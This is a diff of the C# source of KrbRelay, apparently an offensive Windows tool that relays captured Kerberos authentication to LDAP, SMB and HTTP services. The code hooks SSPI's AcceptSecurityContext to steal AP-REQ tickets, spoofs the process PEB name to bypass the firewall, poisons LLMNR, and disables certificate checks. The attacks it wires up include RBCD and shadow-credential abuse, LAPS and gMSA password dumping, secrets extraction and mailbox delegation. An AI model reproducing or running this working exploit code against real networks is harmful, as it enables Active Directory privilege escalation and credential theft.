- public static byte[] apRep1 = new byte[] { };
- public static byte[] apRep2 = new byte[] { };
- public static byte[] ticket = new byte[] { };
- public static string spn = "";
- public static string relayedUser = "";
- public static string relayedUserDomain = "";
- public static string domainDN = "";
- public static string targetFQDN = "";
- public static bool useSSL = false;
- public static bool stopSpoofing = false;
- public static Dictionary attacks = new Dictionary();
public static SMB2Client smbClient = new SMB2Client();
public static HttpClientHandler handler = new HttpClientHandler();
public static HttpClient httpClient = new HttpClient();
public static CookieContainer CookieContainer = new CookieContainer();
- //hooked function
- [STAThread]
- public static SecStatusCode AcceptSecurityContext_(
- [In] SecHandle phCredential,
- [In] SecHandle phContext,
- [In] SecurityBufferDescriptor pInput,
- AcceptContextReqFlags fContextReq,
- SecDataRep TargetDataRep,
- [In, Out] SecHandle phNewContext,
- [In, Out] IntPtr pOutput,
- out AcceptContextRetFlags pfContextAttr,
- [Out] SECURITY_INTEGER ptsExpiry)
- {
- //get kerberos tickets sent to our com server
- if (apRep1.Length == 0)
- {
- //ap_req
- ticket = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray();
- int ticketOffset = Helpers.PatternAt(ticket, new byte[] { 0x6e, 0x82 }); // 0x6e, 0x82, 0x06
- ticket = ticket.Skip(ticketOffset).ToArray();
- ticket = Helpers.ConvertApReq(ticket);
- if(ticket[0] != 0x60)
- {
- Console.WriteLine("[-] Recieved invalid apReq, exploit will fail");
- Console.WriteLine("{0}", Helpers.ByteArrayToString(ticket));
- Environment.Exit(0);
- }
- else
- {
- Console.WriteLine("[*] apReq: {0}", Helpers.ByteArrayToString(ticket));
- }
- }
- else
- {
- apRep2 = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray();
- int apRep2Offset = Helpers.PatternAt(apRep2, new byte[] { 0x6f }, true);
- apRep2 = apRep2.Skip(apRep2Offset).ToArray();
- ticket = apRep2;
- Console.WriteLine("[*] apRep2: {0}", Helpers.ByteArrayToString(ticket));
- }
-
- string service = spn.Split('/').First();
- if (service.ToLower() == "ldap")
- {
- Ldap.Connect();
- }
- else if (service.ToLower() == "http")
- {
- Http.Connect();
- }
- else if (service.ToLower() == "cifs")
- {
- Smb.Connect();
- }
-
- //overwrite security buffer
- var pOutput2 = new SecurityBufferDescriptor(12288);
- //var buffer = new SecurityBufferDescriptor(msgidbytes);
- var buffer = new SecurityBuffer(apRep1);
- int size = Marshal.SizeOf(buffer);
- int size2 = apRep1.Length;
- var BufferPtr = Marshal.AllocHGlobal(size);
- Marshal.StructureToPtr(buffer, BufferPtr, false);
- byte[] BufferBytes = new byte[size];
- Marshal.Copy(BufferPtr, BufferBytes, 0, size);
- var ogSecDesc = (SecurityBufferDescriptor)Marshal.PtrToStructure(pOutput, typeof(SecurityBufferDescriptor));
- var ogSecBuffer = (SecurityBuffer)Marshal.PtrToStructure(ogSecDesc.BufferPtr, typeof(SecurityBuffer));
-
- SecStatusCode ret = AcceptSecurityContext(
- phCredential,
- phContext,
- pInput,
- fContextReq,
- TargetDataRep,
- phNewContext,
- pOutput2,
- out pfContextAttr,
- ptsExpiry);
-
- //overwrite SecurityBuffer bytes
- if (apRep2.Length == 0)
- {
- byte[] nbytes = new byte[254];
- Marshal.Copy(apRep1, 0, ogSecBuffer.Token + 116, apRep1.Length); // verify this 116 offset?
- Marshal.Copy(nbytes, 0, (IntPtr)ogSecBuffer.Token + apRep1.Length + 116, nbytes.Length);
- }
-
- Console.WriteLine("[*] AcceptSecurityContext: {0}", ret);
- Console.WriteLine("[*] fContextReq: {0}", fContextReq);
-
- return ret;
- }
-
private static void ShowHelp()
{
Console.WriteLine();
@@ -208,8 +30,12 @@ private static void ShowHelp()
Console.WriteLine("Usage: KrbRelay.exe -spn [OPTIONS] [ATTACK]");
Console.WriteLine("LDAP attacks:");
Console.WriteLine("-console Interactive LDAP console");
- Console.WriteLine("-rbcd Configure RBCD for a given SID (default target localhost)");
- Console.WriteLine("-shadowcred Configure msDS-KeyCredentialLink (default target localhost)");
+ Console.WriteLine(
+ "-rbcd Configure RBCD for a given SID (default target localhost)"
+ );
+ Console.WriteLine(
+ "-shadowcred Configure msDS-KeyCredentialLink (default target localhost)"
+ );
Console.WriteLine("-laps Dump LAPS passwords");
Console.WriteLine("-gMSA Dump gMSA passwords");
Console.WriteLine("-add-groupmember Add user to group");
@@ -232,7 +58,9 @@ private static void ShowHelp()
Console.WriteLine("HTTP attacks:");
Console.WriteLine("-endpoint Example; 'EWS/Exchange.asmx'");
- Console.WriteLine("-proxy Start a HTTP proxy server against target");
+ Console.WriteLine(
+ "-proxy Start a HTTP proxy server against target"
+ );
//Console.WriteLine("-adcs Generate certificate");
//Console.WriteLine("-ews-console EWS console");
Console.WriteLine("-ews-delegate EWS delegate mailbox");
@@ -249,36 +77,7 @@ private static void ShowHelp()
Console.WriteLine("-llmnr LLMNR poisoning");
}
- public static bool checkPort(int port, string name = "SYSTEM")
- {
- INetFwMgr mgr = (INetFwMgr)Activator.CreateInstance(Type.GetTypeFromProgID("HNetCfg.FwMgr"));
- if (!mgr.LocalPolicy.CurrentProfile.FirewallEnabled)
- {
- return true;
- }
- mgr.IsPortAllowed(name, NET_FW_IP_VERSION_.NET_FW_IP_VERSION_ANY, port, "", NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP, out object allowed, out object restricted);
- return (bool)allowed;
- }
-
- public static int checkPorts(string[] names)
- {
- IPGlobalProperties ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties();
- IPEndPoint[] tcpConnInfoArray = ipGlobalProperties.GetActiveTcpListeners();
- List tcpPorts = tcpConnInfoArray.Select(i => i.Port).ToList();
-
- foreach (string name in names)
- {
- for (int i = 1; i < 65535; i++)
- {
- if (checkPort(i, name) && !tcpPorts.Contains(i))
- {
- return i;
- }
- }
- }
- return -1;
- }
-
+ [STAThread]
public static void Main(string[] args)
{
string clsid = "";
@@ -303,11 +102,11 @@ public static void Main(string[] args)
{
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
throw new Exception();
- attacks.Add("console", args[entry.index + 1]);
+ State.attacks.Add("console", args[entry.index + 1]);
}
catch
{
- attacks.Add("console", "");
+ State.attacks.Add("console", "");
}
break;
// ldap attacks
@@ -315,17 +114,26 @@ public static void Main(string[] args)
case "/RBCD":
try
{
- if (args[entry.index + 2].StartsWith("/") || args[entry.index + 2].StartsWith("-"))
+ if (
+ args[entry.index + 2].StartsWith("/")
+ || args[entry.index + 2].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("rbcd", args[entry.index + 1] + " " + args[entry.index + 2]);
+ State.attacks.Add(
+ "rbcd",
+ args[entry.index + 1] + " " + args[entry.index + 2]
+ );
}
catch
{
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("rbcd", args[entry.index + 1] + " " + "");
+ State.attacks.Add("rbcd", args[entry.index + 1] + " " + "");
}
catch
{
@@ -339,13 +147,16 @@ public static void Main(string[] args)
case "/SHADOWCRED":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("shadowcred", args[entry.index + 1]);
+ State.attacks.Add("shadowcred", args[entry.index + 1]);
}
catch
{
- attacks.Add("shadowcred", "");
+ State.attacks.Add("shadowcred", "");
}
break;
@@ -353,13 +164,16 @@ public static void Main(string[] args)
case "/LAPS":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("laps", args[entry.index + 1]);
+ State.attacks.Add("laps", args[entry.index + 1]);
}
catch
{
- attacks.Add("laps", "");
+ State.attacks.Add("laps", "");
}
break;
@@ -367,13 +181,16 @@ public static void Main(string[] args)
case "/GMSA":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("gmsa", args[entry.index + 1]);
+ State.attacks.Add("gmsa", args[entry.index + 1]);
}
catch
{
- attacks.Add("gmsa", "");
+ State.attacks.Add("gmsa", "");
}
break;
@@ -381,11 +198,20 @@ public static void Main(string[] args)
case "/ADD-GROUPMEMBER":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- if (args[entry.index + 2].StartsWith("/") || args[entry.index + 2].StartsWith("-"))
+ if (
+ args[entry.index + 2].StartsWith("/")
+ || args[entry.index + 2].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("add-groupmember", args[entry.index + 1] + " " + args[entry.index + 2]);
+ State.attacks.Add(
+ "add-groupmember",
+ args[entry.index + 1] + " " + args[entry.index + 2]
+ );
}
catch
{
@@ -398,9 +224,15 @@ public static void Main(string[] args)
case "/RESET-PASSWORD":
try
{
- if (args[entry.index + 2].StartsWith("/") || args[entry.index + 2].StartsWith("-"))
+ if (
+ args[entry.index + 2].StartsWith("/")
+ || args[entry.index + 2].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("reset-password", args[entry.index + 1] + " " + args[entry.index + 2]);
+ State.attacks.Add(
+ "reset-password",
+ args[entry.index + 1] + " " + args[entry.index + 2]
+ );
}
catch
{
@@ -414,13 +246,16 @@ public static void Main(string[] args)
case "/LIST":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("list", args[entry.index + 1]);
+ State.attacks.Add("list", args[entry.index + 1]);
}
catch
{
- attacks.Add("list", "");
+ State.attacks.Add("list", "");
}
break;
@@ -428,9 +263,12 @@ public static void Main(string[] args)
case "/UPLOAD":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("upload", args[entry.index + 1]);
+ State.attacks.Add("upload", args[entry.index + 1]);
}
catch
{
@@ -443,9 +281,12 @@ public static void Main(string[] args)
case "/DOWNLOAD":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("download", args[entry.index + 1]);
+ State.attacks.Add("download", args[entry.index + 1]);
}
catch
{
@@ -458,13 +299,16 @@ public static void Main(string[] args)
case "/SECRETS":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("secrets", args[entry.index + 1]);
+ State.attacks.Add("secrets", args[entry.index + 1]);
}
catch
{
- attacks.Add("secrets", "");
+ State.attacks.Add("secrets", "");
}
break;
@@ -472,7 +316,7 @@ public static void Main(string[] args)
case "/ADD-PRIVILEGES":
try
{
- attacks.Add("add-privileges", args[entry.index + 1]);
+ State.attacks.Add("add-privileges", args[entry.index + 1]);
}
catch
{
@@ -485,11 +329,20 @@ public static void Main(string[] args)
case "/SERVICE-ADD":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- if (args[entry.index + 2].StartsWith("/") || args[entry.index + 2].StartsWith("-"))
+ if (
+ args[entry.index + 2].StartsWith("/")
+ || args[entry.index + 2].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("service-add", args[entry.index + 1] + " " + args[entry.index + 2]);
+ State.attacks.Add(
+ "service-add",
+ args[entry.index + 1] + " " + args[entry.index + 2]
+ );
}
catch
{
@@ -502,7 +355,7 @@ public static void Main(string[] args)
case "/ADD-PRINTERDRIVER":
try
{
- attacks.Add("add-priverdriver", args[entry.index + 1]);
+ State.attacks.Add("add-priverdriver", args[entry.index + 1]);
}
catch
{
@@ -516,9 +369,12 @@ public static void Main(string[] args)
case "/ENDPOINT":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("endpoint", args[entry.index + 1]);
+ State.attacks.Add("endpoint", args[entry.index + 1]);
}
catch
{
@@ -531,9 +387,12 @@ public static void Main(string[] args)
case "/ADCS":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("adcs", args[entry.index + 1]);
+ State.attacks.Add("adcs", args[entry.index + 1]);
}
catch
{
@@ -546,13 +405,16 @@ public static void Main(string[] args)
case "/PROXY":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("proxy", args[entry.index + 1]);
+ State.attacks.Add("proxy", args[entry.index + 1]);
}
catch
{
- attacks.Add("proxy", "");
+ State.attacks.Add("proxy", "");
}
break;
@@ -560,13 +422,16 @@ public static void Main(string[] args)
case "/EWS-CONSOLE":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("ews-console", args[entry.index + 1]);
+ State.attacks.Add("ews-console", args[entry.index + 1]);
}
catch
{
- attacks.Add("ews-console", "");
+ State.attacks.Add("ews-console", "");
}
break;
@@ -574,9 +439,12 @@ public static void Main(string[] args)
case "/EWS-DELEGATE":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("ews-delegate", args[entry.index + 1]);
+ State.attacks.Add("ews-delegate", args[entry.index + 1]);
}
catch
{
@@ -589,9 +457,12 @@ public static void Main(string[] args)
case "/EWS-SEARCH":
try
{
- if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-"))
+ if (
+ args[entry.index + 1].StartsWith("/")
+ || args[entry.index + 1].StartsWith("-")
+ )
throw new Exception();
- attacks.Add("ews-search", args[entry.index + 1]);
+ State.attacks.Add("ews-search", args[entry.index + 1]);
}
catch
{
@@ -608,7 +479,7 @@ public static void Main(string[] args)
case "-SSL":
case "/SSL":
- useSSL = true;
+ State.useSSL = true;
break;
case "-LLMNR":
case "/LLMNR":
@@ -622,7 +493,7 @@ public static void Main(string[] args)
case "-SPN":
case "/SPN":
- spn = args[entry.index + 1];
+ State.spn = args[entry.index + 1];
break;
case "-CLSID":
@@ -643,32 +514,33 @@ public static void Main(string[] args)
return;
}
- if (string.IsNullOrEmpty(spn))
+ if (string.IsNullOrEmpty(State.spn))
{
Console.WriteLine("Missing /spn: parameter");
Console.WriteLine("KrbRelay.exe -h for help");
return;
}
-
if (string.IsNullOrEmpty(domain))
{
- string[] d = spn.Split('.').Skip(1).ToArray();
+ string[] d = State.spn.Split('.').Skip(1).ToArray();
domain = string.Join(".", d);
}
- if (string.IsNullOrEmpty(targetFQDN))
+
+ if (string.IsNullOrEmpty(State.targetFQDN))
{
- string[] d = spn.Split('/').Skip(1).ToArray();
- targetFQDN = string.Join(".", d);
+ string[] d = State.spn.Split('/').Skip(1).ToArray();
+ State.targetFQDN = string.Join(".", d);
}
+
var domainComponent = domain.Split('.');
foreach (string dc in domainComponent)
{
- domainDN += string.Concat(",DC=", dc);
+ State.domainDN += string.Concat(",DC=", dc);
}
- domainDN = domainDN.TrimStart(',');
+ State.domainDN = State.domainDN.TrimStart(',');
- service = spn.Split('/').First().ToLower();
+ service = State.spn.Split('/').First().ToLower();
if (!(new List { "ldap", "cifs", "http" }.Contains(service)))
{
Console.WriteLine("'{0}' service not supported", service);
@@ -676,36 +548,45 @@ public static void Main(string[] args)
return;
}
+ if (State.attacks.ContainsKey("gmsa") && !State.useSSL)
+ {
+ Console.WriteLine("Getting gMSA passwords requires SSL (-ssl)", service);
+ return;
+ }
+
if (string.IsNullOrEmpty(clsid) && llmnr == false)
{
+#if DEBUG
+ // Hard overrides for testing
+ if (sessionID != -123)
+ {
+ // cross-session
+ //clsid = "{354ff91b-5e49-4bdc-a8e6-1cb6c6877182}";
+ //clsid = "{38e441fb-3d16-422f-8750-b2dacec5cefc}";
+ clsid = "{f8842f8e-dafe-4b37-9d38-4e0714a61149}";
+ }
+ else
+ {
+ //system
+ clsid = "{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}";
+ }
+
+ Console.WriteLine("[*] Manually set CLSID for debug mode");
+#else
Console.WriteLine("Missing /clsid: parameter");
Console.WriteLine("KrbRelay.exe -h for help");
return;
-
- // for dev
- //if (sessionID != -123)
- //{
- // // cross-session
- // //clsid = "{354ff91b-5e49-4bdc-a8e6-1cb6c6877182}";
- // //clsid = "{38e441fb-3d16-422f-8750-b2dacec5cefc}";
- // clsid = "{f8842f8e-dafe-4b37-9d38-4e0714a61149}";
- //}
- //else
- //{
- // //system
- // clsid = "{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}";
- //}
+#endif
}
if (!string.IsNullOrEmpty(clsid))
clsId_guid = new Guid(clsid);
- //
- setUserData(sessionID);
+ Helpers.GetWtsSessionData(sessionID);
if (service == "ldap")
{
- var ldap_ptsExpiry = new SECURITY_INTEGER();
- var status = AcquireCredentialsHandle(
+ var expiration = new LARGE_INTEGER();
+ var status = Interop.AcquireCredentialsHandle(
null,
"Negotiate",
2,
@@ -713,96 +594,109 @@ public static void Main(string[] args)
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
- ref ldap_phCredential,
- IntPtr.Zero);
- //Console.WriteLine("[*] AcquireCredentialsHandle: {0}", (SecStatusCode)status);
+ ref State.ldap_CredHandle,
+ ref expiration
+ );
+
+#if DEBUG
+ Console.WriteLine("[*] AcquireCredentialsHandle: {0}", status);
+#endif
var timeout = new LDAP_TIMEVAL
{
tv_sec = (int)(new TimeSpan(0, 0, 60).Ticks / TimeSpan.TicksPerSecond)
};
- if (useSSL)
+ if (State.useSSL)
{
- //ld = Ldap.ldap_sslinit(targetFQDN, 636, 1);
- ld = ldap_init(targetFQDN, 636);
+ State.ld = Interop.ldap_init(State.targetFQDN, 636);
}
else
{
- ld = ldap_init(targetFQDN, 389);
+ State.ld = Interop.ldap_init(State.targetFQDN, 389);
}
uint LDAP_OPT_ON = 1;
uint LDAP_OPT_OFF = 1;
uint version = 3;
- var ldapStatus = ldap_set_option(ld, 0x11, ref version);
+ var ldapStatus = Interop.ldap_set_option(State.ld, 0x11, ref version);
- if (useSSL)
+ if (State.useSSL)
{
- ldap_get_option(ld, 0x0a, out int lv); //LDAP_OPT_SSL
+ Interop.ldap_get_option(State.ld, 0x0a, out int lv); //LDAP_OPT_SSL
if (lv == 0)
- ldap_set_option(ld, 0x0a, ref LDAP_OPT_ON);
+ Interop.ldap_set_option(State.ld, 0x0a, ref LDAP_OPT_ON);
- ldap_get_option(ld, 0x0095, out lv); //LDAP_OPT_SIGN
+ Interop.ldap_get_option(State.ld, 0x0095, out lv); //LDAP_OPT_SIGN
if (lv == 0)
- ldap_set_option(ld, 0x0095, ref LDAP_OPT_ON);
+ Interop.ldap_set_option(State.ld, 0x0095, ref LDAP_OPT_ON);
- ldap_get_option(ld, 0x0096, out lv); //LDAP_OPT_ENCRYPT
+ Interop.ldap_get_option(State.ld, 0x0096, out lv); //LDAP_OPT_ENCRYPT
if (lv == 0)
- ldap_set_option(ld, 0x0096, ref LDAP_OPT_ON);
-
- Helpers.TrustAllCertificates(ld);
+ Interop.ldap_set_option(State.ld, 0x0096, ref LDAP_OPT_ON);
+
+ Helpers.TrustAllCertificates(State.ld);
}
- ldapStatus = ldap_connect(ld, timeout);
+ ldapStatus = Interop.ldap_connect(State.ld, timeout);
if (ldapStatus != 0)
{
- Console.WriteLine("[-] Could not connect to {0}. ldap_connect failed with error code 0x{1}", targetFQDN, ldapStatus.ToString("x2"));
+ Console.WriteLine("[-] Could not connect to {0}, ldap_connect failed with error code 0x{1:X2}", State.targetFQDN, ldapStatus);
return;
}
}
if (service == "cifs")
{
- bool isConnected = smbClient.Connect(targetFQDN, SMBTransportType.DirectTCPTransport);
+ bool isConnected = smbClient.Connect(
+ State.targetFQDN,
+ SMBTransportType.DirectTCPTransport
+ );
if (!isConnected)
{
- Console.WriteLine("[-] Could not connect to {0}:445", targetFQDN);
+ Console.WriteLine("[-] Could not connect to {0}:445", State.targetFQDN);
return;
}
}
if (service == "http")
{
- if (!attacks.Keys.Contains("endpoint") || string.IsNullOrEmpty(attacks["endpoint"]))
+ if (
+ !State.attacks.Keys.Contains("endpoint")
+ || string.IsNullOrEmpty(State.attacks["endpoint"])
+ )
{
Console.WriteLine("[-] -endpoint parameter is required for HTTP");
return;
}
- //handler = new HttpClientHandler() { PreAuthenticate = false, UseCookies = false };
- ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
- handler = new HttpClientHandler() { UseDefaultCredentials = false, PreAuthenticate = false, UseCookies = true };
- //handler.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;
- //handler.ClientCertificateOptions = ClientCertificateOption.Manual;
- //handler.AllowAutoRedirect = true;
- //handler.Proxy = new WebProxy("http://localhost:8080");
-
- //handler.ServerCertificateCustomValidationCallback =
- // (httpRequestMessage, cert, cetChain, policyErrors) =>
- // {
- // return true;
- // };
+
+ ServicePointManager.ServerCertificateValidationCallback += (
+ sender,
+ certificate,
+ chain,
+ sslPolicyErrors
+ ) => true;
+ handler = new HttpClientHandler()
+ {
+ UseDefaultCredentials = false,
+ PreAuthenticate = false,
+ UseCookies = true
+ };
httpClient = new HttpClient(handler) { Timeout = new TimeSpan(0, 0, 10) };
string transport = "http";
- if (useSSL)
+ if (State.useSSL)
{
transport = "https";
}
- httpClient.BaseAddress = new Uri(string.Format("{0}://{1}", transport, targetFQDN));
- //Console.WriteLine(httpClient.BaseAddress);
- }
+ httpClient.BaseAddress = new Uri(
+ string.Format("{0}://{1}", transport, State.targetFQDN)
+ );
+#if DEBUG
+ Console.WriteLine("[*] HTTP base address: {0}", httpClient.BaseAddress);
+#endif
+ }
if (llmnr)
{
- if(service == "ldap")
+ if (service == "ldap")
{
Console.WriteLine("[-] LLMNR will not work with ldap");
return;
@@ -812,8 +706,28 @@ public static void Main(string[] args)
string argSpooferIP = "";
string argSpooferIPv6 = "";
- if (!String.IsNullOrEmpty(argSpooferIP)) { try { IPAddress.Parse(argSpooferIP); } catch { throw new ArgumentException("SpooferIP value must be an IP address"); } }
- if (!String.IsNullOrEmpty(argSpooferIPv6)) { try { IPAddress.Parse(argSpooferIPv6); } catch { throw new ArgumentException("SpooferIP value must be an IP address"); } }
+ if (!String.IsNullOrEmpty(argSpooferIP))
+ {
+ try
+ {
+ IPAddress.Parse(argSpooferIP);
+ }
+ catch
+ {
+ throw new ArgumentException("SpooferIP value must be an IP address");
+ }
+ }
+ if (!String.IsNullOrEmpty(argSpooferIPv6))
+ {
+ try
+ {
+ IPAddress.Parse(argSpooferIPv6);
+ }
+ catch
+ {
+ throw new ArgumentException("SpooferIP value must be an IP address");
+ }
+ }
if (string.IsNullOrEmpty(argSpooferIP))
{
argSpooferIP = Spoofing.Util.GetLocalIPAddress("IPv4");
@@ -827,74 +741,73 @@ public static void Main(string[] args)
// spoofSPN = targetFQDN.Split('.')[0];
//else
// spoofSPN = targetFQDN;
- spoofSPN = targetFQDN.Split('.')[0];
-
- Thread llmnrListenerThread = new Thread(() => Spoofing.LLMNR.LLMNRListener(argSpooferIP, argSpooferIP, argSpooferIPv6, argLLMNRTTL, "IPv4", spoofSPN));
+ spoofSPN = State.targetFQDN.Split('.')[0];
+
+ Thread llmnrListenerThread = new Thread(
+ () =>
+ Spoofing.LLMNR.LLMNRListener(
+ argSpooferIP,
+ argSpooferIP,
+ argSpooferIPv6,
+ argLLMNRTTL,
+ "IPv4",
+ spoofSPN
+ )
+ );
llmnrListenerThread.Start();
- //http
Spoofing.HttpRelayServer.start(service, argSpooferIP);
- //Thread httpRelayServerThread = new Thread(() => Spoofing.HttpRelayServer.start(targetFQDN, useSSL, service));
- //httpRelayServerThread.Start();
return;
}
- //get value for AcceptSecurityContex
- Console.WriteLine("[*] Rewriting function table");
- IntPtr functionTable = InitSecurityInterface();
- //Console.WriteLine("[*] functionTable: {0}", functionTable);
- SecurityFunctionTable table = (SecurityFunctionTable)Marshal.PtrToStructure(functionTable, typeof(SecurityFunctionTable));
- //Console.WriteLine("[*] Old AcceptSecurityContex: {0}", table.AcceptSecurityContex);
-
- //overwrite AcceptSecurityContex
- IntPtr hProcess = OpenProcess(0x001F0FFF, false, Process.GetCurrentProcess().Id);
- AcceptSecurityContextFunc AcceptSecurityContextDeleg = new AcceptSecurityContextFunc(AcceptSecurityContext_);
- byte[] bAcceptSecurityContext = BitConverter.GetBytes(Marshal.GetFunctionPointerForDelegate(AcceptSecurityContextDeleg).ToInt64());
- int oAcceptSecurityContext = Helpers.FieldOffset("AcceptSecurityContex");
- Marshal.Copy(bAcceptSecurityContext, 0, (IntPtr)functionTable + oAcceptSecurityContext, bAcceptSecurityContext.Length);
- //get new value
- table = (SecurityFunctionTable)Marshal.PtrToStructure(functionTable, typeof(SecurityFunctionTable));
- //Console.WriteLine("[*] New AcceptSecurityContex: {0}", table.AcceptSecurityContex);
-
- //Console.WriteLine();
- Console.WriteLine("[*] Rewriting PEB");
- //Init RPC server
- var svcs = new SOLE_AUTHENTICATION_SERVICE[] {
- new SOLE_AUTHENTICATION_SERVICE() {
+ // Hook SSPI Functions
+
+ SSPIHooks sspiHooks = new SSPIHooks();
+ sspiHooks.Hook();
+
+ // Prepare PEB->imagePathName (firewall bypass) and initialize COM/RPC
+
+ string original = Helpers.SetProcessModuleName("System");
+
+ var svcs = new SOLE_AUTHENTICATION_SERVICE[]
+ {
+ new SOLE_AUTHENTICATION_SERVICE()
+ {
dwAuthnSvc = 16, // HKLM\SOFTWARE\Microsoft\Rpc\SecurityService sspicli.dll
- pPrincipalName = spn
+ pPrincipalName = State.spn
}
};
- //bypass firewall restriction by overwriting checks on PEB
- string str = SetProcessModuleName("System");
- StringBuilder fileName = new StringBuilder(1024);
- GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
- Console.WriteLine("[*] GetModuleFileName: {0}", fileName);
+
+ int result;
+
try
{
- Console.WriteLine("[*] Init com server");
- CoInitializeSecurity(IntPtr.Zero, svcs.Length, svcs,
- IntPtr.Zero, AuthnLevel.RPC_C_AUTHN_LEVEL_DEFAULT,
- ImpLevel.RPC_C_IMP_LEVEL_IMPERSONATE, IntPtr.Zero,
- Natives.EOLE_AUTHENTICATION_CAPABILITIES.EOAC_DYNAMIC_CLOAKING,
- IntPtr.Zero);
+ result = Interop.CoInitializeSecurity(
+ IntPtr.Zero,
+ svcs.Length,
+ svcs,
+ IntPtr.Zero,
+ AuthnLevel.Default,
+ ImpLevel.Impersonate,
+ IntPtr.Zero,
+ AuthenticationCapabilities.DynamicCloaking,
+ IntPtr.Zero
+ );
+ Console.WriteLine("[*] CoInitializeSecurity: 0x{0:X8}", result);
}
finally
{
- string str2 = SetProcessModuleName(str);
- fileName.Clear();
- GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
- Console.WriteLine("[*] GetModuleFileName: {0}", fileName);
- //Console.WriteLine();
+ Helpers.SetProcessModuleName(original);
}
- //Unable to call other com objects before doing the CoInitializeSecurity step
- //Make sure that we'll use an available port
- if (!checkPort(int.Parse(port)))
+ // Unable to call other com objects before doing the CoInitializeSecurity step
+ // Make sure that we'll use an available port
+
+ if (!Helpers.CheckFirewallPort(int.Parse(port)))
{
Console.WriteLine("[*] Looking for available ports..");
- port = checkPorts(new string[] { "SYSTEM" }).ToString();
+ port = Helpers.CheckAllFirewallPorts(new string[] { "SYSTEM" }).ToString();
if (port == "-1")
{
Console.WriteLine("[-] No available ports found");
@@ -904,52 +817,68 @@ public static void Main(string[] args)
Console.WriteLine("[*] Port {0} available", port);
}
- //COM object
- Console.WriteLine("[*] Register com server");
+ // Prepare our object and objref
+
+ Console.WriteLine("[*] Register COM server @ 127.0.0.1:{0}", port);
byte[] ba = ComUtils.GetMarshalledObject(new object());
COMObjRefStandard std = (COMObjRefStandard)COMObjRefStandard.FromArray(ba);
- //Console.WriteLine("[*] IPID: {0}", std.Ipid);
- //Console.WriteLine("[*] OXID: {0:X08}", std.Oxid);
- //Console.WriteLine("[*] OID : {0:X08}", std.Oid);
std.StringBindings.Clear();
std.StringBindings.Add(new COMStringBinding(RpcTowerId.Tcp, "127.0.0.1"));
- Console.WriteLine(std.ToMoniker());
+ Console.WriteLine("[*] ObjRef: {0}", std.ToMoniker());
+
